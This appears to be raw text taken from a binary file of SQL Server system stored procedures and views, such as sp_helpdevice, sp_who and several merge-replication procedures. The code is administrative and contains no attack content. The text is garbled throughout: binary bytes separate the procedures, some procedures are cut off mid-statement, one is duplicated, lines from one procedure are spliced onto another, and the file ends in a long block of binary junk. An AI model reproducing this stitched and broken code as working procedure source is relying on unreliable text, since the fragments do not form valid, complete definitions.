**  Now check out the status bits and turn them into english.
**  Status of 16 is a dump device.
*/
update #spdevtab set statusdesc = statusdesc + N', ' + rtrim(v.name)
	from master.dbo.sysdevices d, master.dbo.spt_values v, #spdevtab
	where v.type = 'V' and v.number > -1
		and d.status & v.number = 16
		and #spdevtab.name = d.name

/*
**  Status of 1 is a default disk.
*/
update #spdevtab set statusdesc = statusdesc + N', ' + rtrim(v.name)
	from master.dbo.sysdevices d, master.dbo.spt_values v, #spdevtab
	where v.type = 'V' and v.number > -1
		and d.status & v.number = 1
		and #spdevtab.name = d.name

/*
**  Status of 2 is a physical disk.
*/
update #spdevtab
	set statusdesc = substring(statusdesc, 1, 225) + N', ' + rtrim(v.name)
	from master.dbo.sysdevices d, master.dbo.spt_values v, #spdevtab
	where v.type = 'V' and v.number > -1
		and d.status & v.number = 2
		and #spdevtab.name = d.name

/*
**  Add in its size in MB.
*/
update #spdevtab
	set statusdesc = statusdesc + N', ' + convert(varchar(10),
		round((convert(float, d.size) * (select low from master.dbo.spt_values
			where type = 'E' and number = 1)
			 / 1048576), 1)) + ' MB'
	from master.dbo.sysdevices d, #spdevtab, master.dbo.spt_values v
	where d.status & 2 = 2
		and #spdevtab.name = d.name
		and v.number = 1
		and v.type = 'E'

/*
**  Status of 4 is a logical disk.
*/
update #spdevtab
	set statusdesc = substring(statusdesc, 1, 225) + N', ' + rtrim(v.name)
	from master.dbo.sysdevices d, master.dbo.spt_values v, #spdevtab
	where v.type = 'V' and v.number > -1
		and d.status & v.number = 4
		and #spdevtab.name = d.name

/*
**  Status of 4096 is read only.
*/
update #spdevtab
	set statusdesc = substring(statusdesc, 1, 225) + N', ' + rtrim(v.name)
	from master.dbo.sysdevices d, master.dbo.spt_values v, #spdevtab
	where v.type = 'V' and v.number > -1
		and d.status & v.number = 4096
		and #spdevtab.name = d.name
/*
**  Status of 8192 is deferred.
*/
update #spdevtab
	set statusdesc = substring(statusdesc, 1, 225) + N', ' + (v.name)
	from master.dbo.sysdevices d, master.dbo.spt_values v, #spdevtab
	where v.type = 'V' and v.number > -1
		and d.status & v.number = 8192
		and #spdevtab.name = d.name

set nocount off

/*
**  The device number is in the high byte of sysdevices.low so
**  spt_values tells us which byte to pick out.
*/
select device_name = d.name, physical_name = d.phyname,
	description = #spdevtab.statusdesc,
	status = d.status&12319, d.cntrltype,
	size
	from master.dbo.sysdevices d, #spdevtab, master.dbo.spt_values v
	where d.name = #spdevtab.name
		and v.type = 'E'
		and v.number = 3

return(0) -- sp_helpdevice
`	<I|S0j@ 8CREATE VIEW sys.dm_db_log_space_usage AS
	SELECT *
	FROM OpenRowset(TABLE DM_DB_LOG_SPACE_USAGE)
0(Ɯ 8create procedure sys.sp_MSstartmerge_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname
)
as
begin
    set nocount on

    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror (21089, 16, -1)
        return 1
    end
    
    -- database must be distribution db
    if sys.fn_MSrepl_isdistdb(db_name()) <> 1
    begin
        raiserror (21482, 16, -1, 'sp_MSstartmerge_agent', 'distribution')
        return 1
    end

    declare @retcode int
            ,@start tinyint
    set @start = 0
    exec @retcode = sys.sp_MSmergeagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @subscriber = @subscriber,
        @subscriber_db = @subscriber_db,
        @action = @start
    return @retcode
end
0@ 8create procedure sys.sp_MScomputemergeunresolvedrefs
    @publication sysname, -- Must provide the publication name
    @article sysname = '%' -- '%' means all articles in the specified publication, otherwise an exact match is performed
AS
    SET NOCOUNT ON 
    DECLARE @pubid uniqueidentifier 
    declare @retcode int

    /* 
    ** Security Check and parameter check for @publication
    */
    -- We perform PAL check instead of db_owner check here so that client-
    -- requested dynamic snapshot can go through 
    SELECT @pubid = NULL
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, NULL, NULL, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1

	SELECT DISTINCT 
		   'article' = a.name, 
		   'dependent object' = o.name, 
		   'dependent object owner' = u.name, 
		   'dependent objectid' = o.object_id 
	  FROM dbo.sysmergeextendedarticlesview a
	INNER JOIN sys.sql_dependencies dep
		ON a.objid = dep.object_id
	   AND a.pubid = @pubid
	   AND (@article = '%' OR name = @article)
	   AND dep.referenced_major_id NOT IN (SELECT objid FROM dbo.sysmergeextendedarticlesview
							  WHERE pubid = @pubid 
								AND (@article = '%' OR name = @article))
	INNER JOIN sys.objects o
		ON dep.referenced_major_id = o.object_id
	INNER JOIN sys.schemas u
		ON u.schema_id = o.schema_id		  
0 }8create procedure sys.sp_MSinsertdeleteconflict(  
    @tablenick          int,
    @rowguid            uniqueidentifier,
    @conflict_type      int,
    @reason_code        int,
    @reason_text        nvarchar(720),
    @origin_datasource  nvarchar(255),
    @pubid              uniqueidentifier,
    @lineage            varbinary(311) = NULL,
    @conflicts_logged   INT = NULL OUTPUT,
    @compatlevel int = 10,  
    @source_id                  uniqueidentifier = NULL) -- backward compatibility level, default=Sphinx
as
    declare @retcode int
    
    select @source_id = newid()
    /*
    ** Check to see if current publication has permission
    */
    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
                RAISERROR (21723, 16, -1, 'sp_MSinsertdeleteconflict')
                return 1
        end
        else
        begin
                RAISERROR (14126, 11, -1)
                return 1
        end
    end

    /* Parameter validation */
    if (@tablenick is null)
    begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSinsertdeleteconflict')
        return (1)
    end
    if (@rowguid is null)
    begin
        RAISERROR(14043, 16, -1, '@rowguid', 'sp_MSinsertdeleteconflict')
        return (1)
    end

        if object_id('sysmergearticles') is NULL
        begin
            RAISERROR(20054 , 16, -1)
            return (1)
        end
        
        /*if @conflict_type not in (4,7,8,12)
        begin
                raiserror(21344, 16, -1, '@conflict_type')
                return 1
        end*/

        /* Don't insert a duplicate row */
        if not exists (select * from MSmerge_conflicts_info where tablenick = @tablenick and
                rowguid = @rowguid and origin_datasource = @origin_datasource
                and conflict_type in (4,7,8,12))
        begin
                insert into MSmerge_conflicts_info
                        (tablenick, rowguid, conflict_type, reason_code, reason_text, origin_datasource, pubid, origin_datasource_id) values
                        (@tablenick, @rowguid, @conflict_type, @reason_code, @reason_text, @origin_datasource, @pubid, @source_id)
                select @conflicts_logged = @@ROWCOUNT
                if @@ERROR <> 0 return (1)
        end
        /* Update the existing row - but do not use a generic message to update an error */
        else if (exists (select * from MSmerge_conflicts_info where tablenick = @tablenick and
                                rowguid = @rowguid and origin_datasource = @origin_datasource and 
                                (conflict_type<5 or @conflict_type>4)))
        begin                           
                update MSmerge_conflicts_info set conflict_type = @conflict_type, reason_code = @reason_code,
                        reason_text = @reason_text, origin_datasource_id=@source_id where tablenick = @tablenick and
                        rowguid = @rowguid and origin_datasource = @origin_datasource
                        and conflict_type in (4,7,8,12)
                select @conflicts_logged = @@ROWCOUNT
                if @@ERROR <> 0 return (1)
        end                     
        
        -- If this is an error, add to MSmerge_errorlineage table
        if (@conflict_type in (7, 8) and @lineage is not null)
        begin
                exec @retcode = sys.sp_MSinserterrorlineage @tablenick=@tablenick, @rowguid=@rowguid, @lineage=@lineage, @compatlevel=@compatlevel
                if @retcode<>0 or @@ERROR<>0 return (1)
        end
        
        return (0)

0@ 8create procedure sys.sp_MScomputemergeunresolvedrefs
    @publication sysname, -- Must provide the publication name
    @article sysname = '%' -- '%' means all articles in the specified publication, otherwise an exact match is performed
AS
    SET NOCOUNT ON 
    DECLARE @pubid uniqueidentifier 
    declare @retcode int

    /* 
    ** Security Check and parameter check for @publication
    */
    -- We perform PAL check instead of db_owner check here so that client-
    -- requested dynamic snapshot can go through 
    SELECT @pubid = NULL
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, NULL, NULL, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1

	SELECT DISTINCT 
		   'article' = a.name, 
		   'dependent object' = o.name, 
		   'dependent object owner' = u.name, 
		   'dependent objectid' = o.object_id 
	  FROM dbo.sysmergeextendedarticlesview a
	INNER JOIN sys.sql_dependencies dep
		ON a.objid = dep.object_id
	   AND a.pubid = @pubid
	   AND (@article = '%' OR name = @article)
	   AND dep.referenced_major_id NOT IN (SELECT objid FROM dbo.sysmergeextendedarticlesview
							  WHERE pubid = @pubid 
								AND (@article = '%' OR name = @article))
	INNER JOIN sys.objects o
		ON dep.referenced_major_id = o.object_id
	INNER JOIN sys.schemas u
		ON u.schema_id = o.schema_id		  
from #proctext order by c1 asc
END
RN 1
END
_params_90_rowset(
          @procedure_name,
          @group_number,
          @procedure_schema,
          @parameter_name) s_pp

    order by 2, 3, 5
    option (OPTIMIZE CORRELATED UNION ALL)
	52
`k<N(Ҥ0a6@ 8CREATE VIEW sys.trigger_event_types AS
	SELECT type, type_name, parent_type
	FROM OpenRowset(TABLE event_notification_event_types)
	WHERE is_trigger = 1
0DG 8create procedure sys.sp_cdc_verify_role_name
(
	@role_name sysname,
	@role_exists bit output
)	
as
begin
	declare @retcode int
	
    set nocount on
    
   	set @role_exists = 0
   	
   	if (@role_name = N'')
   	begin
   		raiserror(22907, 16, -1)
   		return 1
   	end	
    
    -- Verify that the @role_name provided is a valid system name
	exec @retcode = [sys].[sp_validname] @role_name
	if (@retcode != 0)
	begin
		raiserror(22938, 16, -1, @role_name)
		return 1
	end
	
	-- Determine whether the role already exists, either as a server role
	-- or as a database role
	if exists
	(
		select name from [sys].[database_principals]
		where name = @role_name
		and type = 'R' 
	)
	begin
		set @role_exists = 1
	end
	
	else if exists
	(
		select name from [sys].[server_principals]
		where name = @role_name
		and type = 'R'
	)
	begin
		set @role_exists = 1
	end
	
	return 0
end
0̲ +8create procedure sys.sp_helpdynamicsnapshot_job (
    @publication sysname = N'%',
    @dynamic_snapshot_jobname sysname = N'%',
    @dynamic_snapshot_jobid uniqueidentifier = null
)
as
    declare @retcode int


    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return (1)

    declare @dynamic_snapshot_jobs table
    (   id int,
        agent_id int,
        job_name sysname,
        job_id uniqueidentifier,
        suser_sname sysname NULL,
        host_name sysname NULL,
        dynamic_snapshot_location nvarchar(255),
        frequency_type int,
        frequency_interval int,
        frequency_subday int,
        frequency_subday_interval int,
        frequency_relative_interval int, 
        frequency_recurrence_factor int,
        active_start_date int,
        active_end_date int,
        active_start_time_of_day int, 
        active_end_time_of_day int,
        pubid uniqueidentifier
    )
    declare @frequency_type                 int
    declare @frequency_interval             int
    declare @frequency_subday               int
    declare @frequency_subday_interval      int
    declare @frequency_relative_interval    int
    declare @frequency_recurrence_factor    int
    declare @active_start_date              int
    declare @active_end_date                int
    declare @active_start_time_of_day       int
    declare @active_end_time_of_day         int
    declare @publisher sysname
    declare @publisher_db sysname
    declare @suser_sname sysname
    declare @host_name sysname
    declare @id int
    declare @distributor sysname
    declare @distribdb sysname
    declare @rpcsrvname sysname
    declare @distproc nvarchar(4000)
    declare @publication_cursor sysname
    declare @pubid uniqueidentifier

    select @publisher = publishingservername()
    select @publisher_db = db_name()

    insert @dynamic_snapshot_jobs
    (id, agent_id, job_name, job_id, suser_sname, host_name, dynamic_snapshot_location, pubid)
    select j.id,
           j.agent_id,
           j.name,
           j.job_id, 
           j.dynamic_filter_login,
           j.dynamic_filter_hostname,
           j.dynamic_snapshot_location,
           j.pubid
      from dbo.sysmergepublications p
     inner join MSdynamicsnapshotjobs j
        on p.pubid = j.pubid
     where (p.name = @publication or @publication = N'%')
       and (j.name = @dynamic_snapshot_jobname or @dynamic_snapshot_jobname = N'%')
       and (j.job_id = @dynamic_snapshot_jobid or @dynamic_snapshot_jobid is null)     

    -- Get distributor information for RPC
    exec @retcode = sys.sp_MSrepl_getdistributorinfo @distributor = @distributor output,
                                           @distribdb = @distribdb output,
                                           @rpcsrvname = @rpcsrvname output
    if @@error <> 0 or @retcode <> 0
        return (1)

    select @distproc = quotename(rtrim(@rpcsrvname)) + N'.' + quotename(@distribdb) + N'.' + N'dbo.sp_MShelpdynamicsnapshotjobatdistributor'

    declare hJobsCursor cursor local fast_forward for
        select id, suser_sname, host_name, pubid
          from @dynamic_snapshot_jobs 
    open hJobsCursor
    fetch hJobsCursor into @id, @suser_sname, @host_name, @pubid
    while (@@fetch_status <> -1)
    begin
        if @suser_sname is not null or @host_name is not NULL
        begin
            select @publication_cursor = name from dbo.sysmergepublications where pubid = @pubid
            exec @retcode = @distproc 
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication_cursor,
                @dynamic_filter_login = @suser_sname,
                @dynamic_filter_hostname = @host_name,
                @frequency_type = @frequency_type output,
                @frequency_interval = @frequency_interval output,
                @frequency_subday = @frequency_subday output,
                @frequency_subday_interval = @frequency_subday_interval output,
                @frequency_relative_interval = @frequency_relative_interval output,
                @frequency_recurrence_factor = @frequency_recurrence_factor output,
                @active_start_date = @active_start_date output,
                @active_end_date = @active_end_date output,
                @active_start_time_of_day = @active_start_time_of_day output,
                @active_end_time_of_day = @active_end_time_of_day output
            if @@error <> 0 or @retcode <> 0
                goto Failure

            update @dynamic_snapshot_jobs
            set frequency_type = @frequency_type,
                frequency_interval = @frequency_interval,
                frequency_subday = @frequency_subday,
                frequency_subday_interval = @frequency_subday_interval,
                frequency_relative_interval = @frequency_relative_interval, 
                frequency_recurrence_factor = @frequency_recurrence_factor,
                active_start_date = @active_start_date,
                active_end_date = @active_end_date,
                active_start_time_of_day = @active_start_time_of_day, 
                active_end_time_of_day = @active_end_time_of_day
            where id = @id
            if @@error <> 0
                goto Failure
        end
        fetch hJobsCursor into @id, @suser_sname, @host_name, @pubid
    end
    close hJobsCursor
    deallocate hJobsCursor

    select id, job_name, job_id, suser_sname, host_name, dynamic_snapshot_location,
           frequency_type,
           frequency_interval,
           frequency_subday,
           frequency_subday_interval,
           frequency_relative_interval, 
           frequency_recurrence_factor,
           active_start_date,
           active_end_date,
           active_start_time_of_day, 
           active_end_time_of_day 
    from @dynamic_snapshot_jobs

    return 0
    
Failure:
    close hJobsCursor
    deallocate hJobsCursor

    return 1
    
0\@ D8L/h|'rchar(1000)

	select @stat_value = 0

    if object_name(@objid) is not null and @csn is not null
    begin
        if @csn is not null
        begin
			select @stmt = N'delete top(@batch_size) from sys.' + quotename(object_name(@objid)) + ' where sys_change_xdes_id in 
				(select xdes_id from sys.syscommittab ssct where
	               	ssct.commit_ts <= @csn)'
	        exec sp_executesql @stmt = @stmt,
				@params = N'@csn bigint, @batch_size int',
				@csn = @csn,
                @batch_size = @batch_size

			select @stat_value = @@rowcount	
        end
    end
end

`k<	cLB0W@ o8CREATE view sys.dm_fts_fdhosts
AS
	SELECT * FROM OpenRowset(TABLE FTFDHOST)
0j@ 8create procedure sys.sp_MSset_dynamic_filter_options @publication sysname, @dynamic_filters bit = NULL OUTPUT, @dont_raise_error bit = NULL

as
    declare @show_errors bit
    , @retcode int
    , @can_use_partition_groups bit
    , @use_partition_groups smallint
    , @dynamic_filters_function_list nvarchar(500)
    , @has_dynamic_filters bit
    , @validate_subscriber_info nvarchar(500)
    , @pubid uniqueidentifier
    , @compatlevel int
    , @old_has_dynamic_filters bit

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    

    select @pubid = pubid
    , @use_partition_groups = use_partition_groups
    , @compatlevel = backward_comp_level
    , @old_has_dynamic_filters = dynamic_filters
    from dbo.sysmergepublications
    where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    if @pubid is NULL
    begin
        raiserror (20026, 11, -1, @publication)
        return (1)
    end
        
    -- If dbo has not specified whether this publication should use partition groups or not,
    -- then we should use it if possible. Determine if any of the restrictions of partition
    -- ids are violated. If yes, then set use_partition_groups to 0, else set it to 2.
    --
    -- If dbo has specified that partition groups should be used, make sure that the publication
    -- does not violate any restrictions of partition groups. If it does, raise an error.
    exec @retcode = sys.sp_MScheck_dynamic_filters 
                                        @publication = @publication
                                        , @can_use_partition_groups = @can_use_partition_groups output
                                        , @has_dynamic_filters = @has_dynamic_filters output
                                        , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                        , @validate_subscriber_info = @validate_subscriber_info output
                                        , @uses_host_name = NULL
                                        , @uses_suser_sname = NULL
                                        , @dont_raise_error = @dont_raise_error

    if @@error <> 0 or @retcode <> 0
        return 1

    -- dynamic filters setting cannot change for an active publication that has valid bcp schema changes
    -- since the schema types can either be dynamic or static whenever a publication changes from a static
    -- to a dynamic publication or vice versa we shoudl have deleted the bcp schema changes from sysmergepublications
    -- the following is to just check that this was done. This error can also happen after upgrade if the
    -- dynamic_filters property was incorrectly set in shiloh. The code path in addmerge or changemerge article
    -- should be settig dont_raise_error to true. Also these code paths should have already taken care of deleting
    -- the bcp schema changes from sysmergeschemachange.
    if ((@old_has_dynamic_filters = 0 and @has_dynamic_filters = 1) or
        (@old_has_dynamic_filters = 1 and @has_dynamic_filters = 0)) and
       exists (select 1 from dbo.sysmergeschemachange where pubid=@pubid and schematype in (3,4,131,132)) -- native and character bcp schema types
       and (@dont_raise_error is NULL or @dont_raise_error = 0)
    begin
        raiserror (20711, 11, -1, @publication)
        return (1)
    end
    
    update dbo.sysmergepublications set dynamic_filters = @has_dynamic_filters, 
        validate_subscriber_info = 
            case when validate_subscriber_info = N'' and @compatlevel >= 90 and @validate_subscriber_info is not null
            then @validate_subscriber_info 
            else validate_subscriber_info end
    where pubid = @pubid

    select @dynamic_filters = @has_dynamic_filters
        
    if @can_use_partition_groups = 1
        set @use_partition_groups = 2
    else if @use_partition_groups is NULL
    begin
        set @use_partition_groups = 0
        set @dynamic_filters_function_list = NULL
    end
            
    update dbo.sysmergepublications 
    set use_partition_groups = @use_partition_groups,
        dynamic_filters_function_list = @dynamic_filters_function_list,
        keep_before_values = case when backward_comp_level >= 90 then 0 else keep_before_values end
    where pubid = @pubid
    and (use_partition_groups is null or use_partition_groups = 2)

    update dbo.sysmergepublications 
    set dynamic_filters_function_list = @dynamic_filters_function_list
    where pubid = @pubid
    and (use_partition_groups = 0)
    
    if @dynamic_filters_function_list is not null
        update dbo.sysmergepublications 
        set dynamic_filters_function_list = @dynamic_filters_function_list       
        where pubid = @pubid
        and (use_partition_groups = 1)

    /* Only if the caller is interested in errors, set the retcode properly - sp_addmergearticle is not interested in these errors because it expects the snapshot to set the use_partition_groups properly */
    if (@dont_raise_error is NULL or @dont_raise_error = 0)
    begin
        if @can_use_partition_groups = 0 and @use_partition_groups = 2
        begin
            -- For this case, sp_MScheck_dynamic_filters would have already raised an error.
            return 1
        end
    end        
    return 0
us.
		--
		set @column_id = null
		set @colName = null
	end

	return
end
0`n@ w8CREATE VIEW sys.dm_xe_sessions AS
	SELECT *
	FROM OpenRowset(TABLE DM_XE_SESSIONS) 
`.</T.0&n B8create procedure sys.sp_who  --- 1995/11/28 15:48
       @loginame sysname = NULL --or 'active'
as

declare	 @spidlow	int,
		 @spidhigh	int,
		 @spid		int,
		 @sid		varbinary(85)

select	 @spidlow	=     0
		,@spidhigh	= 32767


if (	@loginame is not NULL
   AND	upper(@loginame collate Latin1_General_CI_AS) = 'ACTIVE'
   )
	begin

	select spid , ecid, status
              ,loginame=rtrim(loginame)
	      ,hostname ,blk=convert(char(5),blocked)
	      ,dbname = case
						when dbid = 0 then null
						when dbid <> 0 then db_name(dbid)
					end
		  ,cmd
		  ,request_id
	from  sys.sysprocesses_ex
	where spid >= @spidlow and spid <= @spidhigh AND
	      upper(cmd) <> 'AWAITING COMMAND'

	return (0)
	end

if (@loginame is not NULL
   AND	upper(@loginame collate Latin1_General_CI_AS) <> 'ACTIVE'
   )
begin
	if (@loginame like '[0-9]%')	-- is a spid.
	begin
		select @spid = convert(int, @loginame)
		select spid, ecid, status,
			   loginame=rtrim(loginame),
			   hostname,blk = convert(char(5),blocked),
			   dbname = case
							when dbid = 0 then null
							when dbid <> 0 then db_name(dbid)
						end
			  ,cmd
			  ,request_id
		from  sys.sysprocesses_ex
		where spid = @spid
	end
	else
	begin
		select @sid = suser_sid(@loginame)
		if (@sid is null)
		begin
			raiserror(15007,-1,-1,@loginame)
			return (1)
		end
		select spid, ecid, status,
			   loginame=rtrim(loginame),
			   hostname ,blk=convert(char(5),blocked),
			   dbname = case
							when dbid = 0 then null
							when dbid <> 0 then db_name(dbid)
						end
			   ,cmd
			   ,request_id
		from  sys.sysprocesses_ex
		where sid = @sid
	end
	return (0)
end


-- loginame arg is null
select spid,
	   ecid,
	   status,
       loginame=rtrim(loginame),
	   hostname,
	   blk=convert(char(5),blocked),
	   dbname = case
					when dbid = 0 then null
					when dbid <> 0 then db_name(dbid)
				end
	   ,cmd
	   ,request_id
from  sys.sysprocesses_ex
where spid >= @spidlow and spid <= @spidhigh

return (0) -- sp_who
0J 8CREATE VIEW sys.dm_os_memory_node_access_stats AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_MEMORYNODEACCESSSTATS)
0QF@ 8create procedure sys.sp_MSis_pk_col @source_table sysname, @colname sysname, @indid int
as
begin

    declare @indkey int
    select @indkey = 1

    while @indkey < 16 and index_col(@source_table, @indid, @indkey) is not null
    begin
        if index_col(@source_table, @indid, @indkey) = @colname
            return (1)

        select @indkey = @indkey + 1
    end

    return (0)
end
0w@ D8$hF$#0g 8create procedure sys.sp_MSdummyupdatelightweight
    (@tablenick	int, 
     @rowguid	uniqueidentifier,
     @action	int,
     @metatype	tinyint= null,
     @rowvector	varbinary(11)= null)
as
	declare @METADATA_TYPE_Missing tinyint
	declare @METADATA_TYPE_Tombstone tinyint
	declare @METADATA_TYPE_Contents tinyint
	declare @METADATA_TYPE_ContentsDeferred tinyint
	declare @METADATA_TYPE_InsertLightweight tinyint
	declare @METADATA_TYPE_UpdateLightweight tinyint
	declare @METADATA_TYPE_UpsertLightweightProcessed tinyint
	declare @METADATA_TYPE_DeleteLightweight tinyint
	declare @METADATA_TYPE_DeleteLightweightProcessed tinyint

	declare @METADATA_ACTION_Default int
	declare @METADATA_ACTION_RequestEnumAllColumns int

	declare @COLUMNS_ENUMERATED_ChangedOnly tinyint
	declare @COLUMNS_ENUMERATED_AllOnConflictOrError tinyint
	declare @COLUMNS_ENUMERATED_AllOnOtherReason tinyint

	declare @retcode 		int
	declare @pubnick 		tinyint
	declare @coltracked		bit
	declare @enumtype_delete tinyint

	-- do permission checking
	exec @retcode = sys.sp_MSreplcheck_subscribe
	if @retcode<>0 or @@ERROR<>0 return (1)

	set @METADATA_TYPE_Missing= 0
	set @METADATA_TYPE_Tombstone= 1
	set @METADATA_TYPE_Contents= 2
	set @METADATA_TYPE_ContentsDeferred= 3
	set @METADATA_TYPE_InsertLightweight= 7 
	set @METADATA_TYPE_UpdateLightweight= 8
	set @METADATA_TYPE_DeleteLightweight= 10
	set @METADATA_TYPE_UpsertLightweightProcessed= 11
	set @METADATA_TYPE_DeleteLightweightProcessed= 12

	set @METADATA_ACTION_Default= 0
	set @METADATA_ACTION_RequestEnumAllColumns= 1

	set @COLUMNS_ENUMERATED_ChangedOnly= 0
	set @COLUMNS_ENUMERATED_AllOnConflictOrError= 1
	set @COLUMNS_ENUMERATED_AllOnOtherReason= 2

	select top 1 @coltracked= column_tracking from dbo.sysmergearticles
								where nickname=@tablenick

	if 1=@coltracked
	begin
		set @enumtype_delete= @COLUMNS_ENUMERATED_ChangedOnly
	end
	else
	begin
		set @enumtype_delete= @COLUMNS_ENUMERATED_AllOnOtherReason
	end

	if (@action=@METADATA_ACTION_RequestEnumAllColumns)
	begin
		-- The previous upload of that row was not applied to the publisher, either because
		-- of an error, or because we had a conflict, but only sent changed columns.
		-- As a consequence, want to resend the entire row at the next merge.
		update dbo.MSmerge_rowtrack
			set changetype= @METADATA_TYPE_UpdateLightweight,
				columns_enumeration= @COLUMNS_ENUMERATED_AllOnConflictOrError,
				changed= sys.fn_MSdayasnumber(getdate())
			where tablenick = @tablenick and
				  rowguid = @rowguid and
				  changetype in (@METADATA_TYPE_InsertLightweight,
				  				 @METADATA_TYPE_UpdateLightweight, 
				  				 @METADATA_TYPE_UpsertLightweightProcessed)
	end
	else if (@metatype = @METADATA_TYPE_Missing)
	begin
		-- We do not have the row. Put in a tombstone to cause a delete at the other side.
		insert into dbo.MSmerge_rowtrack 
		(
			tablenick,
			rowguid,
			changetype,
			rowvector,
			changedcolumns,
			columns_enumeration,
			changed
		)
		values
		(
			@tablenick,
			@rowguid,
			@METADATA_TYPE_DeleteLightweight,
			@rowvector,
			null,
			@enumtype_delete,
			sys.fn_MSdayasnumber(getdate())
		)
	end
	else if (@metatype in (@METADATA_TYPE_Tombstone,
						   @METADATA_TYPE_DeleteLightweight,
						   @METADATA_TYPE_DeleteLightweightProcessed))
	begin
		update dbo.MSmerge_rowtrack
		set changetype= @METADATA_TYPE_DeleteLightweight, 
		rowvector= case 
			when @rowvector is null then rowvector
			else @rowvector
		end,
		changedcolumns= null,
		columns_enumeration= @enumtype_delete,
		changed= sys.fn_MSdayasnumber(getdate())
		where tablenick = @tablenick and rowguid = @rowguid
	end
	else if (@metatype in (@METADATA_TYPE_Contents,
						   @METADATA_TYPE_InsertLightweight,
						   @METADATA_TYPE_UpdateLightweight,
						   @METADATA_TYPE_UpsertLightweightProcessed))
	begin
		update dbo.MSmerge_rowtrack
			set changetype= @METADATA_TYPE_UpdateLightweight,
				rowvector= case 
					when @rowvector is null then rowvector
					else @rowvector
				end,
				changedcolumns= null,
				columns_enumeration= @COLUMNS_ENUMERATED_AllOnOtherReason,
				changed= sys.fn_MSdayasnumber(getdate())
			where tablenick = @tablenick and rowguid = @rowguid
	end
	else if (@metatype = @METADATA_TYPE_ContentsDeferred)
	begin
		insert into dbo.MSmerge_rowtrack 
		(
			tablenick,
			rowguid,
			changetype,
			rowvector,
			changedcolumns,
			columns_enumeration,
			changed
		)
		values
		(
			@tablenick,
			@rowguid,
			@METADATA_TYPE_UpdateLightweight,
			@rowvector, 
			null,
			@COLUMNS_ENUMERATED_AllOnOtherReason,
			sys.fn_MSdayasnumber(getdate())
		)
	end

	return (0)
    while @indkey < 16 and index_col(@source_table, @indid, @indkey) is not null
    begin
        if index_col(@source_table, @indid, @indkey) = @colname
            return (1)

        select @indkey = @indkey + 1
    end

    return (0)
end
0w@ D8$hF$#05	
``شP  T P  T@P  TP  UP  UP  UP  UP  UP  U P  U@P  UP  VP  VP  VP  VP  VP  V P  V@P  VP  WP  WP  WP  WP  WP  W P  W@P  WP  XP  XP  XP  XP  XP  X P  X@P  XP  YP  YP  YP  YP  YP  Y P  Y@P  YP  ZP  ZP  ZP  ZP  ZP  Z P  Z@P  ZP  [P  [P  [P  [P  [P  [ P  [@P  [P  \P  \P  \P  \P  \P  \ P  \@P  \P  ]P  ]P  ]P  ]P  ]P  ] P  ]@P  ]P  ^P  ^P  ^P  ^P  ^P  ^ P  ^@P  ^P  _P  _P  _P  _P  _P  _ P  _@P  _P  `P  `P  `P  `P  `P  ` P  `@P  `P  aP  aP  aP  aP  aP  a P  a@P  aP  bP  	bP  
bP  bP  bP  
b P  b@P  bP  cP  cP  cP  cP  cP  c P  c@P  cP  dP  dP  dP  dP  dP  d P  d@P  dP   eP  !eP  "eP  #eP  $eP  %e P  &e@P  'eP  (fP  )fP  *fP  +fP  ,fP  -f P  .f@P  /fP  0gP  1gP  2gP  3gP  4gP  5g P  6g@P  7gP  8hP  9hP  :hP  ;hP  <hP  =h P  >h@P  ?hP  @iP  AiP  BiP  CiP  DiP  Ei P  Fi@P  GiP  HjP  IjP  JjP  KjP  LjP  Mj P  Nj@P  OjP  PkP  QkP  RkP  SkP  TkP  Uk P  Vk@P  WkP  XlP  YlP  ZlP  [lP  \lP  ]l P  ^l@P  _lP  `mP  amP  bmP  cmP  dmP  em P  fm@P  gmP  hnP  inP  jnP  knP  lnP  mn P  nn@P  onP  poP  qoP  roP  soP  toP  uo P  vo@P  woP  xpP  ypP  zpP  {pP  |pP  }p P  ~p@P  pP  qP  qP  qP  qP  qP  q P  q@P  qP  rP  rP  rP  rP  rP  r P  r@P  rP  sP  sP  sP  sP  sP  s P  s@P  sP  tP  tP  tP  tP  tP  t P  t@P  tP  uP  u!!!}`C&	x[>!sV9nQ4iL/dG*
|_B%wZ= rU8mP3hK.cF){^A$vY<qT7lO2




g
J
-

bE(z]@#



u
X
;


				p	S	6		kN1fI,~aD'
y\?"tW:oR5jM0eH+}`aNBP  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  P  	P  
P  P  P  
